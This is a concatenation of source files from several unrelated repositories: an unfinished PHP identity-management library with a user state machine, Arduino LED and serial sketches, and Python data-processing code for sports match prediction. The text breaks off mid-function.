UserFSM::TRANSITION_CONFIRM_FORGOTPW, array($this, 'aConfirmForgotPw')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_FORGOTPW, array($this, 'aForgotPW')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_RESEND_FORGOTPW, array($this, 'aReSendForgotPW')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_RESETPASSWORD, array($this, 'aResetPW')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_MODIFY, array($this, 'aModify')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_LOGIN, array($this, 'aLogin')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_ADMINLOCK, array($this, 'aAdminLock')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_LOCK, array($this, 'aLock')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_UNLOCK, array($this, 'aUnlock')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_CLOSE, array($this, 'aClose')); $this->sm = $sm; } protected function gRegister() { // TODO password complexity check return true; } protected function gReSend() { // send_confirmation_count < = max_allowed $user = $this->sm->getObject(); if ($user instanceof UserEntity) { if ($user->getSendConfirmCount() > IConfService::MAX_REQUEST_REGISTER) return false; } return true; } protected function gConfirmForgotPw(){ // send_confirmation_count < = max_allowed // Activation code should match $user = $this->sm->getObject(); if ($user instanceof UserEntity) { $now = new \DateTime('now'); if (($now->getTimestamp() - $user->getActivationCodeLifetime()->getTimestamp()) > IConfService::ACTIVATION_CODE_LIFE_TIME) return false; } return true; } protected function gConfirm() { // send_confirmation_count < = max_allowed // Activation code should match $user = $this->sm->getObject(); if ($user instanceof UserEntity) { $now = new \DateTime('now'); if (($now->getTimestamp() - $user->getActivationCodeLifetime()->getTimestamp()) > IConfService::ACTIVATION_CODE_LIFE_TIME) return false; } return true; } protected function gResetPW() { return true; } protected function gForgotPW() { $user = $this->sm->getObject(); if ($user instanceof UserEntity) { if ( $user->getForgetPwCount() > IConfService::MAX_REQUEST_FORGOTPW ) return false; } return true; } protected function gReSendForgotPW() { $user = $this->sm->getObject(); if ($user instanceof UserEntity) { if ( $user->getForgetPwCount() > IConfService::MAX_REQUEST_FORGOTPW ) return false; } return true; } protected function gModify() { return true; } protected function gLogin() { return true; } protected function gAdminLock() { return true; } protected function gLock() { return true; } protected function gUnlock() { return true; } protected function gClose() { return true; } /** * @param Event $event */ protected function aRegister(Event $event) { // Generate activation code // Save activation code // Send to user via extuid if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { $UserEntity->setCreatedAt(new \DateTime('now')); $UserEntity->setUpdatedAt(new \DateTime('now')); $UserEntity->setActivationCodeLifetime(new \DateTime('now')); $UserEntity->setActivationCode(UserFSM::genActivationCode()); $UserEntity->setSendConfirmCount($UserEntity->getSendConfirmCount() + 1); } } } /** * @param Event $event */ protected function aReSend(Event $event) { if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { $UserEntity->setUpdatedAt(new \DateTime('now')); $UserEntity->setSendConfirmCount($UserEntity->getSendConfirmCount() + 1); } } } protected function aConfirm(Event $event) { if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { $UserEntity->setUpdatedAt(new \DateTime('now')); $UserEntity->setSendConfirmCount(0); } } } protected function aConfirmForgotPw(Event $event) { if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { $UserEntity->setUpdatedAt(new \DateTime('now')); $UserEntity->setSendConfirmCount(0); } } } protected function aResetPW(Event $event) { if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { } } } protected function aModify(Event $event) { if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { $UserEntity->setUpdatedAt(new \DateTime('now')); } } } protected function aLogin(Event $event) { if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { $UserEntity->setLastlogon(new \DateTime('now')); $UserEntity->setLogonCount($UserEntity->getLogonCount() + 1); $UserEntity->setSendConfirmCount(0); $UserEntity->setLockTime(0); $UserEntity->setForgetPwCount(0); $UserEntity->setLoginFailedCount(0); } } } protected function aForgotPW(Event $event) { if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { // TODO // Generate activation code // Set activation code // Set activation code lifetime // Send to client by extuid // Set forget_pw_count =+ 1 $UserEntity->setActivationCode(UserFSM::genActivationCode()); $UserEntity->setActivationCodeLifetime(new \DateTime("now")); $UserEntity->setForgetPwCount($UserEntity->getForgetPwCount() + 1); } } } protected function aReSendForgotPW(Event $event) { if ($event instanceof TransitionEvent) { $UserEntity = $event->getStateMachine()->getObject(); if ($UserEntity instanceof UserEntity) { // TODO // Generate activation code // Set activation code // Set activation code lifetime // Send to client by extuid // Set forget_pw_count =+ 1 $UserEntity->setActivationCode(UserFSM::genActivationCode()); $UserEntity->setActivationCodeLifetime(new \DateTime("now")); $UserEntity->setForgetPwCount($UserEntity->getForgetPwCount() + 1); // Send mail } } } protected function aAdminLock(Event $event) { if ($event instanceof TransitionEvent) { } } protected function aLock(Event $event) { if ($event instanceof TransitionEvent) { } } protected function aUnlock(Event $event) { if ($event instanceof TransitionEvent) { } } protected function aClose(Event $event) { if ($event instanceof TransitionEvent) { } } protected function genActivationCode($length = 64) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; //$characters = '0123456789abcdefghijklmnopqrstuvwxyz'; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } } <file_sep>/src/IDMAPIInterface.php <?php namespace IDM; use AuthStack\Auths\IAuthStorage; use AuthStack\AuthStack; interface IDMAPIInterface{ /** * @param StandardClaims $sClaims * @param array $extClaims * @return */ public function updateIdentity(StandardClaims $sClaims, array $extClaims = []); /** * @param string|string $uid * @param string|string $password * @param StandardClaims $standardClaims * @param IAuthStorage $authStorage * @param array $extraClaims * @return StandardClaims */ public function createIdentity(string $uid, string $password, StandardClaims $standardClaims, IAuthStorage $authStorage, array $extraClaims = []); /** * */ public function getIdentity($uuid); /** * Do login for user with password * @param string|string $user string * @param string|string $password string * @param AuthStack $authStack * * @return [bool, StandardClaims] */ public function login(string $user, string $password, AuthStack $authStack); /** * @param $uuid * @return */ public function logout($uuid); /** * @param $oldpwd * @param $newpwd * @return bool */ public function resetPassword(string $oldpwd, string $newpwd); /** * @param $uid * @return */ public function forgotPwd(string $uid); } <file_sep>/src/Exceptions/IDMException.php <?php namespace IDM\Exceptions; class IDMException extends \Exception{} <file_sep>/src/StandardClaims.php <?php namespace IDM; class StandardClaims implements \JsonSerializable { public $sub; public $name; public $given_name; public $family_name; public $middle_name; public $nickname; public $preferred_username; public $profile; public $email; public $email_verified; public $gender; public $birthdate; public $zoneinfo; public $locale; public $phone_number; public $address; public $preferred_lang; public $preferred_theme; /** * Specify data which should be serialized to JSON * @link http://php.net/manual/en/jsonserializable.jsonserialize.php * @return mixed data which can be serialized by <b>json_encode</b>, * which is a value of any type other than a resource. * @since 5.4.0 */ function jsonSerialize() { } } <file_sep>/src/UserEntity.php <?php namespace IDM; use Finite\StatefulInterface; use Ramsey\Uuid\Uuid; class UserEntity implements StatefulInterface { /** * */ protected $dispatcher; /** * @var string */ private $uuid; /** * @var string */ private $extuid; /** * @var string */ private $auth_source_name; /** * @var string */ private $sub; /** * @var string */ private $name; /** * @var string */ private $given_name; /** * @var string */ private $family_name; /** * @var string */ private $middle_name; /** * @var string */ private $nickname; /** * @var string */ private $preferred_username; /** * @var string */ private $profile; /** * @var string */ private $email; /** * @var string */ private $email_verified; /** * @var integer */ private $gender = 0; /** * @var string */ private $birthdate; /** * @var string */ private $zoneinfo; /** * @var string */ private $locale; /** * @var string */ private $phone_number; /** * @var string */ private $address; /** * @var string */ private $updated_at; /** * @var string */ private $roles; /** * @var string */ private $state; /** * @var string */ private $lastlogon; /** * @var string */ private $created_at; /** * @var integer */ private $logon_count = 0; /** * @var integer */ private $num_activation_code = 0; /** * @var integer */ private $activation_code_lifetime = 17280; /** * @var integer */ private $lock_time = 0; public function getDispatcher(){ return $this->dispatcher; } public function setDispatcher($dispatcher){ $this->dispatcher = $dispatcher; } /** * Gets the object state. * * @return string */ public function getFiniteState() { return $this->getState(); } /** * Sets the object state. * * @param string $state */ public function setFiniteState($state) { $this->setState($state); } /** * Set uuid * * @param string $uuid * * @return UserObject */ public function setUuid($uuid) { $this->uuid = $uuid; return $this; } /** * Get uuid * * @return string */ public function getUuid() { return $this->uuid; } /** * Set extuid * * @param string $extuid * * @return UserObject */ public function setExtuid($extuid) { $this->extuid = $extuid; return $this; } /** * Get extuid * * @return string */ public function getExtuid() { return $this->extuid; } /** * Set authSourceName * * @param string $authSourceName * * @return UserObject */ public function setAuthSourceName($authSourceName) { $this->auth_source_name = $authSourceName; return $this; } /** * Get authSourceName * * @return string */ public function getAuthSourceName() { return $this->auth_source_name; } /** * Set sub * * @param string $sub * * @return UserObject */ public function setSub($sub) { $this->sub = $sub; return $this; } /** * Get sub * * @return string */ public function getSub() { return $this->sub; } /** * Set name * * @param string $name * * @return UserObject */ public function setName($name) { $this->name = $name; return $this; } /** * Get name * * @return string */ public function getName() { return $this->name; } /** * Set givenName * * @param string $givenName * * @return UserObject */ public function setGivenName($givenName) { $this->given_name = $givenName; return $this; } /** * Get givenName * * @return string */ public function getGivenName() { return $this->given_name; } /** * Set familyName * * @param string $familyName * * @return UserObject */ public function setFamilyName($familyName) { $this->family_name = $familyName; return $this; } /** * Get familyName * * @return string */ public function getFamilyName() { return $this->family_name; } /** * Set middleName * * @param string $middleName * * @return UserObject */ public function setMiddleName($middleName) { $this->middle_name = $middleName; return $this; } /** * Get middleName * * @return string */ public function getMiddleName() { return $this->middle_name; } /** * Set nickname * * @param string $nickname * * @return UserObject */ public function setNickname($nickname) { $this->nickname = $nickname; return $this; } /** * Get nickname * * @return string */ public function getNickname() { return $this->nickname; } /** * Set preferredUsername * * @param string $preferredUsername * * @return UserObject */ public function setPreferredUsername($preferredUsername) { $this->preferred_username = $preferredUsername; return $this; } /** * Get preferredUsername * * @return string */ public function getPreferredUsername() { return $this->preferred_username; } /** * Set profile * * @param string $profile * * @return UserObject */ public function setProfile($profile) { $this->profile = $profile; return $this; } /** * Get profile * * @return string */ public function getProfile() { return $this->profile; } /** * Set email * * @param string $email * * @return UserObject */ public function setEmail($email) { $this->email = $email; return $this; } /** * Get email * * @return string */ public function getEmail() { return $this->email; } /** * Set emailVerified * * @param string $emailVerified * * @return UserObject */ public function setEmailVerified($emailVerified) { $this->email_verified = $emailVerified; return $this; } /** * Get emailVerified * * @return string */ public function getEmailVerified() { return $this->email_verified; } /** * Set gender * * @param integer $gender * * @return UserObject */ public function setGender($gender) { $this->gender = $gender; return $this; } /** * Get gender * * @return integer */ public function getGender() { return $this->gender; } /** * Set birthdate * * @param string $birthdate * * @return UserObject */ public function setBirthdate($birthdate) { $this->birthdate = $birthdate; return $this; } /** * Get birthdate * * @return string */ public function getBirthdate() { return $this->birthdate; } /** * Set zoneinfo * * @param string $zoneinfo * * @return UserObject */ public function setZoneinfo($zoneinfo) { $this->zoneinfo = $zoneinfo; return $this; } /** * Get zoneinfo * * @return string */ public function getZoneinfo() { return $this->zoneinfo; } /** * Set locale * * @param string $locale * * @return UserObject */ public function setLocale($locale) { $this->locale = $locale; return $this; } /** * Get locale * * @return string */ public function getLocale() { return $this->locale; } /** * Set phoneNumber * * @param string $phoneNumber * * @return UserObject */ public function setPhoneNumber($phoneNumber) { $this->phone_number = $phoneNumber; return $this; } /** * Get phoneNumber * * @return string */ public function getPhoneNumber() { return $this->phone_number; } /** * Set address * * @param string $address * * @return UserObject */ public function setAddress($address) { $this->address = $address; return $this; } /** * Get address * * @return string */ public function getAddress() { return $this->address; } /** * Set updatedAt * * @param string $updatedAt * * @return UserObject */ public function setUpdatedAt($updatedAt) { $this->updated_at = $updatedAt; return $this; } /** * Get updatedAt * * @return string */ public function getUpdatedAt() { return $this->updated_at; } /** * Set roles * * @param string $roles * * @return UserObject */ public function setRoles($roles) { $this->roles = $roles; return $this; } /** * Get roles * * @return string */ public function getRoles() { return $this->roles; } /** * Set state * * @param string $state * * @return UserObject */ public function setState($state) { $this->state = $state; return $this; } /** * Get state * * @return string */ public function getState() { return $this->state; } /** * Set lastlogon * * @param string $lastlogon * * @return UserObject */ public function setLastlogon($lastlogon) { $this->lastlogon = $lastlogon; return $this; } /** * Get lastlogon * * @return string */ public function getLastlogon() { return $this->lastlogon; } /** * Set logonCount * * @param integer $logonCount * * @return UserObject */ public function setLogonCount($logonCount) { $this->logon_count = $logonCount; return $this; } /** * Get logonCount * * @return integer */ public function getLogonCount() { return $this->logon_count; } /** * Set numActivationCode * * @param integer $numActivationCode * * @return UserObject */ public function setNumActivationCode($numActivationCode) { $this->num_activation_code = $numActivationCode; return $this; } /** * Get numActivationCode * * @return integer */ public function getNumActivationCode() { return $this->num_activation_code; } /** * Set activationCodeLifetime * * @param integer $activationCodeLifetime * * @return UserObject */ public function setActivationCodeLifetime($activationCodeLifetime) { $this->activation_code_lifetime = $activationCodeLifetime; return $this; } /** * Get activationCodeLifetime * * @return integer */ public function getActivationCodeLifetime() { return $this->activation_code_lifetime; } /** * Set lockTime * * @param integer $lockTime * * @return UserObject */ public function setLockTime($lockTime) { $this->lock_time = $lockTime; return $this; } /** * Get lockTime * * @return integer */ public function getLockTime() { return $this->lock_time; } public static function calculeUuid($extUid, $authSourceName){ return Uuid::uuid5(Uuid::NAMESPACE_OID, $authSourceName.$extUid)->toString(); } public function setCreatedAt($time){ $this->created_at = $time; } public function getCreatedAt(){ return $this->created_at; } /** * @var integer */ private $send_confirm_count = 0; /** * @var integer */ private $forget_pw_count = 0; /** * Set sendConfirmCount * * @param integer $sendConfirmCount * * @return UserObject */ public function setSendConfirmCount($sendConfirmCount) { $this->send_confirm_count = $sendConfirmCount; return $this; } /** * Get sendConfirmCount * * @return integer */ public function getSendConfirmCount() { return $this->send_confirm_count; } /** * Set forgetPwCount * * @param integer $forgetPwCount * * @return UserObject */ public function setForgetPwCount($forgetPwCount) { $this->forget_pw_count = $forgetPwCount; return $this; } /** * Get forgetPwCount * * @return integer */ public function getForgetPwCount() { return $this->forget_pw_count; } /** * @var string */ private $preferred_lang; /** * @var string */ private $preferred_theme; /** * Set preferredLang * * @param string $preferredLang * * @return UserObject */ public function setPreferredLang($preferredLang) { $this->preferred_lang = $preferredLang; return $this; } /** * Get preferredLang * * @return string */ public function getPreferredLang() { return $this->preferred_lang; } /** * Set preferredTheme * * @param string $preferredTheme * * @return UserObject */ public function setPreferredTheme($preferredTheme) { $this->preferred_theme = $preferredTheme; return $this; } /** * Get preferredTheme * * @return string */ public function getPreferredTheme() { return $this->preferred_theme; } /** * @var string */ private $activation_code; /** * Set activationCode * * @param string $activationCode * * @return UserObject */ public function setActivationCode($activationCode) { $this->activation_code = $activationCode; return $this; } /** * Get activationCode * * @return string */ public function getActivationCode() { return $this->activation_code; } /** * @var integer */ private $login_failed_count = 0; /** * Set loginFailedCount * * @param integer $loginFailedCount * * @return UserObject */ public function setLoginFailedCount($loginFailedCount) { $this->login_failed_count = $loginFailedCount; return $this; } /** * Get loginFailedCount * * @return integer */ public function getLoginFailedCount() { return $this->login_failed_count; } private $claims; /** * Set claims * * @param string $claims * * @return UserObject */ public function setExtraClaims($claims) { $this->claims = $claims; return $this; } /** * Get claims * * @return string */ public function getExtraClaims() { return $this->claims; } public function getStandardClaims(){ $standardClaims = new StandardClaims(); $standardClaims->sub = $this->sub; $standardClaims->name = $this->name; $standardClaims->given_name = $this->given_name; $standardClaims->family_name = $this->family_name; $standardClaims->middle_name = $this->middle_name; $standardClaims->nickname = $this->nickname; $standardClaims->preferred_username = $this->preferred_username; $standardClaims->profile = $this->profile; $standardClaims->email = $this->email; $standardClaims->email_verified = $this->email_verified; $standardClaims->gender = $this->gender; $standardClaims->birthdate = $this->birthdate; $standardClaims->zoneinfo = $this->zoneinfo; $standardClaims->locale = $this->locale; $standardClaims->phone_number = $this->phone_number; $standardClaims->address = $this->address; $standardClaims->preferred_lang = $this->preferred_lang; $standardClaims->preferred_theme = $this->preferred_theme; return $standardClaims; } } <file_sep>/src/Storage/IIDMStorage.php <?php namespace IDM; use IDM\Configs\AbstractConfig; interface IIDMStorage { public function init(AbstractConfig $config); public function getUser($uuid); public function getUser2($uid, $authSource); public function saveUser(UserEntity $user); public function isExisted($uuid); public function isExisted2($uid, $authSource); public function getListUUID(array $criterias = []); public function getListUID(array $criterias = []); } <file_sep>/src/Services/ConfigService.php <?php namespace IDM\Services; use AuthStack\Auths\AuthLdap; use AuthStack\Auths\AuthSql; use AuthStack\Configs\AuthType; use AuthStack\Configs\LdapConfig; use AuthStack\Configs\MySQLConfig; use AuthStack\Exceptions\ConfigNotFoundException; use AuthStack\Exceptions\ConfigSyntaxException; use AuthStack\Logs\LogFile; use AuthStack\Logs\LogType; use Dibi\Drivers\SqlsrvDriver; use IDM\SqlStorage; use Psr\Log\LoggerInterface; use Symfony\Component\Yaml\Yaml; class ConfigService { protected $config; /** * init get the path to file config and return a list of auth config * @param $yamlFilePath * @return array() of auth * @throws ConfigNotFoundException * @throws ConfigSyntaxException */ public function init($yamlFilePath) { if (!is_file($yamlFilePath)) { throw new ConfigNotFoundException(); }; try { $this->config = Yaml::parse(file_get_contents($yamlFilePath)); } catch (\Exception $e) { throw new ConfigSyntaxException($yamlFilePath); } } public function getIDMStorage(){ $config = MySQLConfig($this->config['authentication']['userstorage']['sqlconnection']); return new SqlStorage($config); } } <file_sep>/src/Configs/AbstractConfig.php <?php namespace IDM\Configs; class AbstractConfig{ }<file_sep>/src/Exceptions/ConfigSyntaxException.php <?php namespace IDM\Exceptions; class ConfigSyntaxException extends IDMException{} <file_sep>/src/Storage/StorageType.php <?php namespace IDM; class IDMType{ const MYSQL = 'mysql'; const POSTGRES = 'postgres'; const FILE = 'file'; } <file_sep>/src/Configs/StorageType.php <?php namespace IDM\Configs; class IDM { const MYSQL = "mysql"; const POSTGRES = "postgres"; const KVSTORAGE = "kvstorage"; } <file_sep>/src/Exceptions/IdentityNotFoundException.php <?php namespace IDM\Exceptions; class IdentityNotFoundException extends IDMException{} <file_sep>/src/Exceptions/AccountIsSuspendedException.php <?php namespace IDM\Exceptions; class AccountIsSuspendedException extends IDMException{} <file_sep>/src/IdentityManagement.php <?php namespace IDM; use AuthStack\Auths\IAuthStorage; use AuthStack\AuthStack; use Psr\SimpleCache\CacheInterface; class IdentityManagement implements IDMInsterface, IDMAPIInterface{ protected $storage; protected $cacheService; /** * @param IIDMStorage $storage * @param CacheInterface $cacheService */ public function __construct(IIDMStorage $storage, CacheInterface $cacheService){ $this->storage = $storage; $this->cacheService = $cacheService; } /** * @param $uuid * @return bool */ public function isExisted(string $uuid){ return false; } /** * @param $uid * @param $authSource * @return bool */ public function isExisted2(string $uid, string $authSource){ return false; } /** * @param $uuid * @return bool */ public function getStandardClaims(string $uuid) { } /** * @param StandardClaims $sClaims * @param array $extClaims * @return */ public function updateIdentity(StandardClaims $sClaims, array $extClaims = []) { } /** * @param string|string $uid * @param string|string $password * @param StandardClaims $standardClaims * @param IAuthStorage $authStorage * @param array $extraClaims * @return StandardClaims */ public function createIdentity(string $uid, string $password, StandardClaims $standardClaims, IAuthStorage $authStorage, array $extraClaims = []) { } /** * */ public function getIdentity($uuid) { } /** * Do login for user with password * @param string|string $user string * @param string|string $password string * @param AuthStack $authStack * * @return [bool, StandardClaims] */ public function login(string $user, string $password, AuthStack $authStack) { } /** * @param $uuid * @return */ public function logout($uuid) { } /** * @param $oldpwd * @param $newpwd * @return bool */ public function resetPassword(string $oldpwd, string $newpwd) { } /** * @param $uid * @return */ public function forgotPwd(string $uid) { } } <file_sep>/src/Exceptions/AuthStorageException.php <?php namespace IDM\Exceptions; class AuthStorageException extends IDMException{} <file_sep>/src/Exceptions/RequiredFieldMissingException.php <?php namespace IDM\Exceptions; class RequiredFieldMissingException extends IDMException{} <file_sep>/src/Exceptions/ConfigNotFoundException.php <?php namespace IDM\Exceptions; class ConfigNotFoundException extends IDMException{} <file_sep>/src/Exceptions/PasswordIncorrectException.php <?php namespace IDM\Exceptions; class PasswordIncorectException extends IDMException{}
c7d6e41a4ed7b94f318e06053c0628ac60c0b9cb
[ "PHP" ]
22
PHP
songvi/rerd
eddebca889c585de3219e2271da9ad162ecff3ce
3897666333a44fb2aa7f3b34188780e5059407d7
refs/heads/master
<repo_name>wjackson2112/BraceletProject<file_sep>/README.md BraceletProject ===============<file_sep>/Arduino/ColorLEDGumstick/ColorLEDGumstick.ino /* Serial Event example When new serial data arrives, this sketch adds it to a String. When a newline is received, the loop prints the string and clears it. A good test for this is to try it with a GPS receiver that sends out NMEA 0183 sentences. Created 9 May 2011 by <NAME> This example code is in the public domain. http://www.arduino.cc/en/Tutorial/SerialEvent */ #define RED 5 #define GREEN 6 #define BLUE 9 int input[200]; // an array to hold incoming data int currentColor; // setting red if 0, green if 1, blue if 2 int redValue, greenValue, blueValue; void setup() { // initialize serial: Serial.begin(115200); currentColor = 0; pinMode(RED, OUTPUT); pinMode(GREEN, OUTPUT); pinMode(BLUE, OUTPUT); } void loop() { } /* SerialEvent occurs whenever a new data comes in the hardware serial RX. This routine is run between each time loop() runs, so using delay inside loop can delay response. Multiple bytes of data may be available. */ void serialEvent() { while (Serial.available()) { // get the new byte: int nextByte = Serial.read(); // add it to the inputString: if(currentColor == 0){ redValue = nextByte; currentColor++; Serial.println(redValue, HEX); } else if(currentColor == 1){ greenValue = nextByte; currentColor++; Serial.println(greenValue, HEX); } else if(currentColor == 2){ blueValue = nextByte; currentColor = 0; Serial.println(blueValue, HEX); analogWrite(RED, redValue); analogWrite(GREEN, greenValue); analogWrite(BLUE, blueValue); } } } <file_sep>/Arduino/sketch_mar01a/sketch_mar01a.ino /* KST O3 UART - BTLE Sheild code @author bmerryman @date Wed Nov 14, 2012 */ String inputString = ""; // a string to hold incoming data boolean stringComplete = false; // whether the string is complete int rxPin = 0; // **NOTE** digitalWrite(rxPin, LOW) disable the internal pullup void setup() { // initialize serial: Serial.begin(19200); //Serial.print("Startup"); //Serial.print((uint8_t)0x2, HEX); //Serial1.begin(115200); //Serial1.print("{S}"); //Serial.println("{S}\n\r"); delayMicroseconds(10); pinMode(rxPin, INPUT); delayMicroseconds(10); digitalWrite(rxPin, LOW); } uint8_t newbuffer[19]; int newbufferpos = 0; boolean gotIT = false; int test = 0; boolean done = false; char inChar = 0x07; boolean meas = true; boolean first = true; uint8_t newbuffer1[19]; int newbufferpos1 = 0; boolean done1 = false; char inChar1 = 0x07; boolean stringComplete1 = false; // whether the string is complete void loop() { if (stringComplete) { Serial.print(inChar); if(done) { Serial.print( newbuffer[0], HEX); done = false; newbufferpos=0; } stringComplete = false; } } /* SerialEvent occurs whenever a new data comes in the hardware serial RX. This routine is run between each time loop() runs, so using delay inside loop can delay response. Multiple bytes of data may be available. */ void serialEvent() { while (Serial.available()) { inChar = (char)Serial.read(); Serial.print("Something happened"); newbuffer[newbufferpos] = inChar; done = true; newbufferpos = newbufferpos + 1; } stringComplete = true; }
ef90bae7247dd70900cae349036e322551c66a86
[ "Markdown", "C++" ]
3
Markdown
wjackson2112/BraceletProject
459a064c72fa3744c645646ae3f68296dc7f67cc
56562eb8f0bf5b8bac4faaddb8618b1a99013899
refs/heads/master
<repo_name>kerlerom44/herami<file_sep>/pull_repo_HeraMi.sh #!/bin/bash # Shell script to download files from Git repository of Hera-Mi inside C1 mkdir /herami && cd /herami git init git remote add origin https://github.com/hera-mi/test_material.git git pull origin master # SSH service launch /usr/sbin/sshd -D <file_sep>/dicom_dump_2c.sh #!/bin/bash # create DICOM list file first ls /Hera-Mi_STORE_C2 > /tmp/listdicom # DICOM files dump one by one cat /tmp/listdicom | while read fichier ; do # only some dumped contents saved in a file dcmdump /Hera-Mi_STORE_C2/$fichier | grep -i '\(StudyInstanceUID\|SeriesInstanceUID\| SopInstanceUID\)' > $fichier".txt" done # moove all decoded files to /Hera-Mi_STORE_C2 mv /tmp/*.txt /Hera-Mi_STORE_C2/ # deletion of DICOM list file rm /tmp/listdicom echo "-------------------------------------" echo "DICOM files decoded : " ls -l /Hera-Mi_STORE_C2/*.txt <file_sep>/README.md # herami files of R.Kerleroux for Hera-Mi entrance test %%% Dockerfiles corresponding to assignments : _Dockerfile_C1 _Dockerfile_C2 _Dockerfile_C2v2 _Dockerfile_C3 %%% Shell scripts to be launched automatically by container : pull_repo_HeraMi.sh %%% Shell scripts to be launched manually inside the container : copy_files_from_C1.sh dicom_dump_2b.sh dicom_dump_2c.sh dicom_dump_3b.sh (execution error) %%% Python script to be called by "dicom_dump_3b.sh" inside container : store_mongodb.py (execution error) <file_sep>/copy_files_from_C1.sh #!/bin/bash read -p "Enter internal IP address of C1 container : " ip ping $ip -c 3 if [ $? = 0 ] then echo "C1 is reachable !" scp -p root@"$ip":/herami/task_01-software_engineer/phantoms-2d/*.dcm /Hera-Mi_STORE_C2 else echo "C1 is not reachable and files cannot be retrieved from C1 !" fi echo "--------------------------------------" echo "Content of /Hera-Mi_STORE_C2 directory : " ls -ltr /Hera-Mi_STORE_C2
e8e65cbde421441eaee1f1b5a7dd51b3eaff26fa
[ "Markdown", "Shell" ]
4
Shell
kerlerom44/herami
42f10d20d45b3cdef725c80e2d9d7274f5182823
c66ce5f9d5be6c32c3b2f4dabbe5cf16c9df4ded
refs/heads/main
<repo_name>tipresias/augury<file_sep>/notebooks/src/data/data_builder.py import pandas as pd class DataBuilder: def __init__( self, data_classes, csv_paths, shared_index_cols=["date", "venue", "home_team", "away_team"], ): if len(csv_paths) != len(data_classes): raise ValueError("csv_paths and data_classes arguments must be same length") self.dfs = [ data_class(csv_paths[idx], shared_index_cols).data_frame() for idx, data_class in enumerate(data_classes) ] def concat(self, raw=False): if raw: return pd.concat([self.dfs], axis=1) return pd.concat(self.dfs, axis=1).dropna().reset_index().drop("date", axis=1) class BettingData: def __init__( self, csv_path, shared_index_cols, index_col=("date", "venue"), parse_dates=["date"], ): self.shared_index_cols = shared_index_cols self.index_col = index_col self._data = pd.read_csv(csv_path, index_col=index_col, parse_dates=parse_dates) def data_frame(self): home_df, away_df = ( self.__split_home_away("home"), self.__split_home_away("away"), ) return ( home_df.merge(away_df, on=self.index_col) .reset_index() .set_index(self.shared_index_cols) ) def __split_home_away(self, team_type): return ( self._data[self._data["home"] == int(team_type == "home")] .drop("home", axis=1) .rename(columns=self.__rename_home_away_columns(team_type)) ) def __rename_home_away_columns(self, team_type): return lambda column_name: f"{team_type}_{column_name}" class MatchData: def __init__(self, csv_path, shared_index_cols, parse_dates=["date"]): self.shared_index_cols = shared_index_cols self._data = pd.read_csv(csv_path, parse_dates=parse_dates) def data_frame(self): return ( self._data.rename(columns={"date": "datetime"}) .assign(date=self.__convert_datetime_to_date) .set_index(self.shared_index_cols) ) def __convert_datetime_to_date(self, df): return df["datetime"].map(lambda date_time: date_time.date()) <file_sep>/src/augury/pipelines/nodes/feature_calculation.py """Collection of functions for performing cross-feature mathematical calculations.""" from typing import List, Sequence, Dict from functools import partial, reduce, update_wrapper import itertools import pandas as pd import numpy as np from augury.types import ( DataFrameTransformer, CalculatorPair, Calculator, DataFrameCalculator, ) from augury.settings import AVG_SEASON_LENGTH TEAM_LEVEL = 0 # Varies by season and number of teams, but teams play each other about 1.5 times per season, # and I found a rolling window of 3 for such aggregations to one of the most predictive # of match results ROLLING_OPPO_TEAM_WINDOW = 3 # Kind of an awkward aggregation given the imbalance of number of matches a team plays # at each venue, but after some experimenting a window of 8 works well. It represents # a little less than a typical season for home venues, about 2-3 seasons for away Melbourne # venues, and about 5-6 seasons for most other away venues ROLLING_VENUE_WINDOW = 8 ROLLING_WINDOWS = {"oppo_team": ROLLING_OPPO_TEAM_WINDOW, "venue": ROLLING_VENUE_WINDOW} def _calculate_feature_col( data_calculator: Calculator, column_sets: List[Sequence[str]] ) -> List[DataFrameCalculator]: if len(column_sets) != len(set(column_sets)): raise ValueError( "Some column sets are duplicated, which will result in duplicate data frame " "columns. Make sure each column is calculated once." ) return [data_calculator(column_set) for column_set in column_sets] def _calculate_features(calculators: List[CalculatorPair], data_frame: pd.DataFrame): calculator_func_lists = [ _calculate_feature_col(calculator, column_sets) for calculator, column_sets in calculators ] calculator_funcs = list(itertools.chain.from_iterable(calculator_func_lists)) calculated_cols = [calc_func(data_frame) for calc_func in calculator_funcs] return pd.concat([data_frame, *calculated_cols], axis=1) def feature_calculator(calculators: List[CalculatorPair]) -> DataFrameTransformer: """Call individual feature-calculation functions.""" return update_wrapper( partial(_calculate_features, calculators), _calculate_features ) def rolling_rate_filled_by_expanding_rate( groups: pd.DataFrame, rolling_window: int ) -> pd.DataFrame: """ Fill blank values from rolling mean with expanding mean values. Params: ------- groups: A data frame produced by pandas' groupby method rolling_window: How large a window to use for rolling mean calculations Returns: -------- A data frame with rolling mean values, using expanding values for the initial window """ expanding_rate = groups.expanding(1).mean() rolling_rate = groups.rolling(window=rolling_window).mean() return rolling_rate.fillna(expanding_rate) def _rolling_rate(column: str, data_frame: 